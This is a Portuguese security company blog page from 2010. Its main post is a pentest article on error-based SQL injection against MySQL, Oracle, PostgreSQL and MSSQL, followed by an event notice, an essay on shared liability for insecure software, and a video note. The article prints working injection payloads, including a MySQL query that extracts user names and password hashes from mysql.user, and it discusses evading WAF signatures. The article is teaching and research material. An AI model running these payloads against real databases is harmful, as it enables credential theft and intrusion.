terça-feira, 31 de agosto de 2010

Velhas falhas, novas técnicas: Error Based SQL Injection

Este artigo também está disponível para leitura on-line ou download em formato PDF.

Por Ulisses Castro | Conviso Security Labs

Todos que já buscaram saber como funcionam os ataques de SQL Injection sabem que é uma técnica antiga, porém sempre é bom ver novas ideias surgindo que acabam servindo para ampliar as possibilidades. Quero compartilhar aqui algumas técnicas não convencionais de extração de dados que normalmente são utilizadas por "seres humanos", mas porque dizer assim?

Por mais acostumado a automatizar tudo utilizando as melhores e mais variadas ferramentas para pentest, você não pode esquecer que em algumas das muitas situações encontradas durante o processo, é manualmente e com aquele pensamento "fora da caixa" que vai conseguir um resultado inesperado e diferenciado de qualquer outra abordagem similar no mercado.

Por isso venho aqui compartilhar uma técnica semelhante a utilizada no MS-SQL Server que é bem conhecida para quem tem experiência em ataques neste tipo de banco de dados, entretanto pouco conhecida e utilizada em outros, em específico MySQL, Oracle, PostgreSQL e SyBase que é o Error Based Blind SQL Injection, nada mais do que a extração de dados baseada em erro.

Ferramentas fechadas de renome e também aquelas que tem seu código fonte aberto não abordam tal técnica, perdendo uma grande gama de possibilidades e acabam não suprindo um gap que nós pentesters encontramos. Apesar de não abordar neste artigo especificamente como utilizá-la em conjunto com outras técnicas para bypass em Web Application Firewalls (WAFs), deixo aqui algumas ideias que passam batido em muitos WAFs como HPP em conjunto com SQL Injection e existem até aqueles que deixam passar SQL Injection com erros boleanos pois na assinatura só conseguem se defender quando encontrarm o famoso UNION na URL, fica aqui um gancho para uma próxima pesquisa.

Introdução


Partindo do princípio que o leitor sabe do que se trata um SQL Injection, vamos deixar claro as seguintes técnicas de maneira resumida:

  • Union Inband SQL Injection: Técnica onde ao injetar códigos SQL através de uma aplicação, buscamos utilizar a função UNION em conjunto com operadores boleanos para imprimir os dados solicitados na própria página da aplicação.

  • Blind SQL Injection: Diversas formas diferentes, basicamente utilizando comparações boleanas em conjunto com funções de string do banco de dados, forçamos um verdadeiro ou falso na aplicação montando corretamente ou não a página.

  • Error Based Blind SQL Injection: Este tipo ataque, o qual vou abordar neste artigo, é exatamente o tipo que é pouco abordado em ferramentas, onde muitas vezes não conseguimos trazer os dados utilizando o UNION, mas sim forçar que algum erro seja impresso na página.


Sendo assim existem algumas técnicas para extrair os dados destas mensagens. Importante frisar que as demonstradas utilizando este tipo de ataque podem facilmente ser adaptadas para o Blind SQL Injection e também o conhecido Time Based SQL Injection, que se baseia no tempo em que é retornada determinada consulta sem enxergar absolutamente nada na interface da aplicação.

Error Based Blind SQL Injection, como funciona?


MySQL


Vamos ver como poderíamos forçar um erro boleano no MySQL e extrair dados do mesmo? O pesquisador Dmitry Evteev, apresentou uma técnica muito interessante utilizando a função ExtractValue() do mysql versão 5.1 ou superior para demonstrar como extrair dados. No console do MySQL podemos ver o que ocorre ao forçar um erro utilizando a função apontada, repare que não é utilizado UNION, conforme apresentado na imagem abaixo.



Esta abordagem é excelente, porém só conseguimos extrair os dados em versões 5.1 ou mais recentes, a quantidade de dados extraída é limitada a 31 bytes e ainda alguns casos dependemos de um UNION o que é péssimo frente a defesas como WAFs. Abaixo, um exemplo demonstrando a limitação dos 31 bytes:



Para as limitações citadas existem diversas formas de amenizar estas dificuldades, primeiro é preciso eliminar a dependência de versão. Abaixo um insight feito por Qwazar que demonstra como é possível realizar esta técnica aplicada para versões do MySQL 4, 5.0, 5.1 e superiores. Tal abordagem além de mitigar a limitação da versão, amplia a quantidade de bytes extraídos passando de 31 para 64 bytes e mantém a mesma lógica demonstrada acima:



Porém nos traz mais uma desvantagem, neste caso devido a função rand(), não existe 100% de chance de retorno, ou seja, as vezes o resultado pode vir e as vezes não. Isso é péssimo, principalmente em casos onde escrevemos um script para automatizar mas como sempre existe uma solução, abaixo montei uma versão sem utilizar UNION e mantendo 99% de retorno do resultado. Não sou DBA e nem mesmo ultra expert em SQL, assim acredito que alguém com mais experiência possa ajudar a montar um consulta um pouco menor, mas a syntax ficou assim (seguindo o mesmo exemplo acima):
select '1 ' and if(row(0,0)> (select + count(*), concat((select concat_ws(0x3a,user,password) from mysql.user limit 1), 0x3a, floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row (0,0)> (select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*), concat((select concat_ws(0x3a,user,password) from mysql.user limit 1), 0x3a, floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1),0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,user,password) from mysql.user limit 1), 0x3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,(select 1 and 1=1))))))))));

Veja que o resultado apresentado na imagem abaixo não vem truncado em 31 bytes e conseguimos ver a hash completamente, pois conseguimos trazer 64 bytes. Essa talvez não seja nem de perto a melhor solução e seria preciso estudar um pouco mais algumas formas de melhorar os resultados.



Com a utilização desta técnica, em conjunto com outras funções específicas do MySQL, é possível ampliar ainda mais extração de dados. Utilizando a função compress() com a biblioteca zlib podemos compactar o resultado, conforme apresentado abaixo. Com isso, é possível diminuir o tamanho do resultado, o que nos testes que realizei chegaram a 50% de taxa na compressão. Porém, a desvantagem é que não seria possível utilizar técnica de Verdadeiro/Falso para extrair caractere por caractere, pois o tipo de dado de retorno impede que isso aconteça.



Porém a solução é simples, com a função hex() conseguimos transformar todo o resultado em hexadecimal, e com esta saída não só podemos transportar qualquer tipo de dados como ainda facilita a comparação Verdadeiro/Falso em casos de Blind SQL Injection, e pode preparar a consulta para trazer um "tira" única em hexadecimal de todos os dados solicitados independente do tamanho.



A única desvantagem perceptível é que o processamento do banco de dados será elevado em caso de automatização, mas isso pode ser ajustado através de delays e timers. Na prática para extrair os dados, seria necessário "caminhar" pela tira em hexadecimal, extraindo o resultado de 64 em 64 bytes ou 32 em 32 bytes dependento da técnica, utilizando funções específicas para lidar com strings. Na prática ficaria como na imagem abaixo:



E para potencializar tudo isto seria possível ainda utilizar "sub-querys" e trazer muitos dados com pouquíssimos "hits" no Servidor Web, técnica que demonstrei no OWASP AppSec Brasil do ano passado. Porém nem todas as empresas utilizam MySQL e é preciso estar preparado para encontrar os mais diversos tipos pela frente. Acima demonstrei como é feito com MySQL, porém cada um possui sua limitação e também vantagens, o que nos traz novas possibilidades a cada abordagem.

Aplicação em outras bases


Abaixo algumas idéias menos elaboradas do que esta feita no MySQL, porém mostrando a pontinha do iceberg e um caminho para aplicar a mesma técnica em diferentes cenários.

MSSQL Server / Sybase


Não é nada novo, a maioria das técnicas de SQL Injection demonstradas em diversos forums, how-tos, listas de discussão, demonstram esta técnica que força a conversão no tipo de dado para demonstrar o erro, no caso do MSSQL é possível trazer aproximadamente 1024 bytes e no Sybase a técnica é a mesma.


PostreSQL


Semelhante ao MSSQL/Sybase, porém utilizando a função CAST():



E seguindo a mesma linha de raciocínio aplicada no MySQL:


Oracle


Demonstrando esta técnica utilizando Oracle 9.0 ou superior, é possível extrair até 214 bytes de uma mensagem de erro no Oracle usando a função XMLType() em conjunto com outras para tratamento de string, seguindo lógica semelhante a demonstrada com o MySQL, transforma a consulta em hexadecimal, usa substr() para cortar a "tira" e trazer os resultados em partes. E ainda podemos utilizar um truque para trazer versão em uma única linha, isso porque o Oracle não possui offset ou limit:
SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1;



Usar XMLType() para mostrar a versão na saída de erro, para isto foi necessário utilizar a função REPLACE() e substituir os espaços por "_"(underline). Repare que a todo momento utilizo a função CHR() visando evitar qualquer problema com caracteres de "'"(aspas simples).
SELECT XMLTYPE(CHR(60)||CHR(58)||(SELECT REPLACE((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1),CHR(32),CHR(95))FROM dual)||CHR(62))FROM dual;



Abaixo uma versão mais apurada para burlar os problemas de tipos de dados, assim como replicar técnica semelhante à aplicada ao MySQL, utilizando conversão para hexa e removendo a função REPLACE() não precisamos dela já que estamos convertendo para hexadecimal.
SELECT UPPER(XMLTYPE(CHR(60)||CHR(58)||(SELECT RAWTOHEX((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1))FROM dual)||CHR(62)))FROM dual;



E finalmente a versão para ser utilizada em um Error Based Blind SQL Injection utilizando operador lógico simulando um ataque.
SELECT 1 FROM dual WHERE 1=1 AND(1)=(SELECT UPPER(XMLTYPE(CHR(60)||CHR(58)||(SELECT RAWTOHEX((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1))FROM dual)||CHR(62)))FROM dual);



Existem diferentes maneiras de se chegar ao mesmo objetivo, com um conhecimento maior em determinado banco de dados e mais pesquisas, com certeza é possível chegar a um resultado mais apurado, lembrando que em todos os casos sempre pensei em não utilizar o UNION para tentar evitar um possível match de assinatura com WAFs, assim como a utilização de função para representar caracteres ascii na consulta e evitar enviá-los através de URL.

Conclusão


SQL Injection é uma técnica que por mais antiga que seja a cada dia evolui, seja com lançamento de novas versões com novas funções, ou fazendo uma releitura de técnicas já conhecidas e aprimorando sempre é possível demonstrar algo novo.

E como sou um viciado convicto em Python nada melhor do que escrever scripts em python usando threads somado a técnicas novas, é sempre diversão garantida. Abaixo o video demonstrando na prática um script que aplica a técnica acima, atacando um banco de dados MySQL.



Em um futuro próximo a Conviso IT Security estará disponibilizando em formato Open Source algumas ferramentas criadas em laboratório, fique de olho! ;)

Referências


sexta-feira, 27 de agosto de 2010

Esclarecimento sobre o ISSA Day


Recebemos mensagens, tweets e telefonemas de algumas pessoas em dúvida sobre o ISSA Day no dia 31 de agosto, lá no Genuíno. Para deixar claro, é isso mesmo, a entrada é de graça e ao final será liberado um happy hour para os presentes com direito a chopp e canapés custeados pela gente, além do sorteio de uma vaga para o curso "Web Hacking Techniques" promovido pelo Conviso Security Labs.

Faça a sua inscrição e compareça, o o evento será uma oportunidade de conhecer a experiência de várias pessoas na Defcon e Black Hat, networking e comida grátis no final. Quando é que você tem uma chance como essa em plena 3a feira? :-)

quinta-feira, 26 de agosto de 2010

ISSA Day Agosto 2010

Estamos patrocinando o ISSA Day que irá acontecer no dia 31/08 no Genuíno, em São Paulo, SP. O evento é gratuito e aberto a qualquer interessado, a chamada está no web site da ISSA Brasil e teremos a seguinte agenda:

  • 19h00 – Credenciamento

  • 19h30 – Palestra da ISSA - Por que ser ISSA?

  • 20h00 – Abertura falando sobre a Conviso.

  • 20h15 – O processo de segurança em desenvolvimento, que não é ISO 15.408

  • 21h00 – Palestra sobre a Black Hat e Defcon

  • 21h45 – Sorteio de Treinamento Conviso e Encerramento – Com HH

terça-feira, 24 de agosto de 2010

Responsabilidade Compartilhada

Este artigo está também disponível em formato pdf para leitura on-line ou download.

Introdução


Quando uma empresa tem uma ou mais vulnerabilidades do seu Ambiente Informatizado exploradas por um atacante, as conseqüências podem ir da exposição negativa da imagem perante a sociedade até prejuízos financeiros decorrentes da parada de um processo, como no caso de um comércio eletrônico.

Mas quando este incidente também afeta os clientes das empresas, o que pode acontecer e como este risco pode ser reduzido a um nível aceitável? Ocorrências desta natureza tem aparecido com freqüência e retirando os casos onde as pessoas são vitimadas por quadrilhas especializadas em phishing [1], cenários agressivos aparecem no Brasil:

  • Em agosto de 2010 mais de cinco milhões de web sites hospedados em um provedor estavam sendo utilizados para propagação de malware [2], e no Brasil os web sites das empresas Vivo e Oi [3] sofreram ataques similares.

  • Dados pessoais de 12 milhões de pessoas que participaram do Exame Nacional do Ensino Médio (ENEM) vazaram de uma base de dados restrita, expondo-as a serem vítimas de crimes virtuais, como furto de identidade. [4]


O que está acontecendo


Como resultado, algumas pessoas tem utilizado instrumentos presentes no Código Civil e no Código do Consumidor para buscar reparações em diferentes esferas. Em alguns casos, a responsabilidade é compartilhada não só pela empresa que hospedava o componente onde o problema foi gerado, mas ainda outras envolvidas no processo de alguma forma [5]. A elaboração de leis e regulamentações que definam regras para este cenário como forma de garantir a aplicação de critérios legais para os negócios on line, vem sendo conduzida em diversas iniciativas.

Em especial sobre falhas em aplicações podem ser interpretadas no âmbito dos processos contra empresas envolvidas, é interessante destacar duas notícias que mostram o que podemos esperar de um futuro próximo:

  • O Comitê Gestor da ICP-Brasil busca a aplicação de certificados digitais nos códigos dos aplicativos de interatividade desenvolvidos por diversas empresas para a TV Digital como forma de garantir a autoria e a responsabilidade civil [6].

  • Uma empresas de rastreamento e bloqueio de veículos por satélite foi condenada a restituir um de seus clientes, uma vez que o sistema utilizado para suportar o processo falhou e permitiu o furto de um caminhão. [7]


Uma proposta de mudança


Uma vez que as falhas em aplicações representam hoje entre 75% a 92% dos ataques realizados através da Internet [8], e as empresas buscam posicionar seus recursos cada vez mais através de interfaces web, o que fazer para ter aplicações mais seguras e reduzir o risco de impactos diretos e colaterais da exploração de vulnerabilidades?

Onde as fábricas de software falham


As fábricas de software deveriam implementar controles que garantissem a remoção de vulnerabilidades óbvias de seus produtos, e não é isso que tem acontecido. Desde a sua primeira edição em 2004, o OWASP Top 10 [9] apresenta falhas persistentes em aplicações web e disponibiliza projetos para que estas sejam corrigidas ainda no ciclo de desenvolvimento, mas elas ainda ocorrem freqüentemente.

As causas estão todas na inexistência de um ciclo de desenvolvimento seguro, onde não existem controles que verificam o nível de segurança dos releases desenvolvidos, como ainda é comum a ausência de processos que garantam a capacitação contínua dos desenvolvedores como forma de aumentar gradativamente a qualidade da segurança embutida no produto.

Mas antes de se apontar o dedo para as fábricas de software, existe um ponto que deve ser considerado com o mesmo peso para uma avaliação: o que as empresas que compram software tem feito para mudar este cenário?

Onde as empresas falham


Segurança e performance são competências antagônicas que devem ser equilibradas para garantir o atendimento às necessidades do cliente dentro de um nível de segurança adequado. Para garantir o resultado aceitável desta equação, é necessário investir em um esforço similar ao empregado para outras atividades de suporte ao produto final comuns no desenvolvimento de software, tais como design de interface e conectores com produtos de mercado. O problema é que esta necessidade não é atendida pelas empresas.

O Ponemon Institute publicou a pesquisa “State of Web Application Security” citada anteriormente neste artigo, que foi realizada com 638 empresas de grande porte nos Estados Unidos e mostrou uma realidade que atesta a afirmação anterior:

  • Quase 70% dos entrevistados não consideram que o orçamento para segurança das aplicações web é suficiente.

  • Das vulnerabilidades consideradas urgentes nas empresas, 34% não são consertadas e 55% dos entrevistados acreditam que os desenvolvedores são ocupados demais com outras atividades para adequar as falhas de segurança.


A Responsabilidade Compartilhada


Seria inocente esperar uma mudança imediata dos dois lados mediante esta situação, uma vez que são necessários recursos extras aos já previstos e o atendimento de um nível de maturidade que só o tempo permite chegar. Porém existe pelo menos uma ação que pode ser tomada para mudar este cenário: assumir a responsabilidade compartilhada.

A primeira ação a ser considerada, é estabelecer contratos que deixem claro quais são os papéis de cada um. O OWASP Legal Project [10] apresenta o “OWASP Secure Software Development Contract Annex” como um modelo para ser utilizado nesta ação.

O objetivo do documento é servir de base para garantir o atendimento de um nível de proteção adequado para o software através da definição de papéis no processo de desenvolvimento, estabelecimento das áreas onde os controles de segurança devem ser considerados e ainda formalizar o uso de testes e recursos técnicos específicos.

Mais do que uma ação isolada e ineficaz para injetar a responsabilidade pela segurança das aplicações para um dos dois lados, é fundamental entender que a mudança será atingida se algumas premissas forem aceitas e consideradas como base para o processo.

Níveis de proteção racionais


O contrato deve prever que o nível de proteção do software irá variar de acordo com o seu nível de criticidade. Aplicações diretamente relacionadas ao negócio da empresa ou que estejam sujeitas a uma regulamentação, potencialmente serão mais críticas que as demais. Aplicar o mesmo nível de proteção em todos os produtos não é uma ação racional e muito provavelmente vai fazer a fábrica de software alocar um esforço que poderia ser evitado, e a empresa irá pagar esta conta.

Com isso, o programa será em pouco tempo criticado com razão, considerado um custo desnecessário e eliminado. É fundamental ter critérios adequados de onde, como e com qual nível de rigor os controles deverão ser aplicados.

Compartilhamento de atividades


Para que as responsabilidades sejam compartilhadas, é fundamental que o mesmo ocorra com as atividades relacionadas. A fábrica de software deverá ter um processo de desenvolvimento seguro como parte do processo, porém a empresa que adquire a aplicação tem como obrigações mínimas garantir que o processo de desenvolvimento seguro não será atropelado por motivos de negócio que não considerem todo o trabalho de planejamento estabelecido. Se for realmente necessário, a área solicitante deve formalmente - ou mesmo legalmente? - assumir a responsabilidade por isso.

Além disso, os componentes de arquitetura utilizados devem passar pelos mesmos critérios de segurança, uma vez que falhas e vulnerabilidades nestes componentes podem comprometer o nível de segurança do software.

Evolução contínua


O processo deve ser pensado como algo que irá aumentar o nível de rigor de forma crescente e contínua. Os termos apresentados no exemplo do documento publicado pelo OWASP devem ser considerados como uma base para ser adaptada pelos advogados de cada empresa, o que irá variar muito não só pelas características organizacionais, mas ainda de acordo com o mercado de atuação e regras setoriais específicas (ex. PCI DSS).

Uma proposta racional é estabelecer métricas de acompanhamento e reuniões de status entre às partes, onde a meta de atingir um nível de excelência no desenvolvimento seguro poderá ser atingida aos poucos. Todas as metodologias de desenvolvimento seguro apresentam propostas para este tipo de controle, é buscar o que for mais adequado para a realidade de cada empresa e adaptar.

Conclusão


Este artigo é uma provocação com uma sugestão e deve ser entendido desta forma. Certamente, a primeira pergunta que surge na leitura é: quem paga esta conta?

A primeira resposta acaba sendo a comum a produtos com melhorias: o cliente final. Porém, vale pensar em todo este processo como um modelo de negócios, algo que irá potencializar os produtos em um mercado onde estabelecer e garantir um nível de segurança adequado é algo desejado por todos os clientes que usam a Internet para suas transações.

No começo da Internet os provedores eram pagos e quem conseguia um preço menor com nível de qualidade similar (ou mesmo inferior ...) a seus concorrentes abocanhava boa parte do mercado. Um dia uma grande empresa decidiu prestar o serviço de graça para a sociedade, e o modelo ruiu. Com a evolução dos processos legais e a potencial perda de clientes para concorrentes que apresentam um nível de segurança superior - ainda que esta impressão exista por nunca terem sofrido uma perda - quem ficar para trás vai acabar pagando uma conta bem mais cara.

Sobre o Autor


Eduardo Vianna de Camargo Neves trabalha com Segurança da Informação desde 1997, tendo atuado como auditor, consultor e Security Officer. É sócio-fundador e Gerente de Operações da Conviso IT Security, responsável pela administração e estratégia da empresa. Serve ainda como membro do Capítulo Brasil do OWASP, do OWASP Global Education Committee na América Latina e voluntário no (ISC)2.

sexta-feira, 20 de agosto de 2010

Novo vídeo no Canal Conviso IT Security

Quando um servidor de aplicação aceita o método PUT, é possível que um atacante envie arquivos com conteúdo e finalidades diversas, inclusive scripts que possibilitam a execução de códigos na máquina alvo. Este vídeo mostra como o ataque ocorre, servindo como ferramenta de instrução para as equipes responsáveis pela administração de segurança.